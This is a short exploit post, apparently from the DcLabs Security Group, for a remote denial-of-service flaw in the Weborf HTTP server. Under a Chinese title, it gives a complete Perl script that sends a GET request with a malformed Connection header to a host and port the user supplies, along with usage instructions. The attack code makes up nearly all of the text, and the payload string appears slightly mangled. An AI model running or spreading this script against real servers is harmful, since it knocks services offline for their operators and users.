Weborf服务器HTTP头远程拒绝服务漏洞

#!/usr/bin/perl use IO::Socket; if (@ARGV < 1) { usage(); } $ip = $ARGV[0]; $port = $ARGV[1]; print "[+] Sending request...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n"; print $socket "GET / HTTP/1.0\r\n"; print $socket "Connection: ". "\0x99" x 4 ."\r\n\r\n"; close($socket); print "[+] Done!\n"; sub usage() { print "[-] Usage: <". $0 ."> <host> <port>\n"; print "[-] Example: ". $0 ." 127.0.0.1 80\n"; exit; } --------------------------------------------------------------------------------- ------- DcLabs Security Group Sponsor: ipax ipax@dclabs.com.br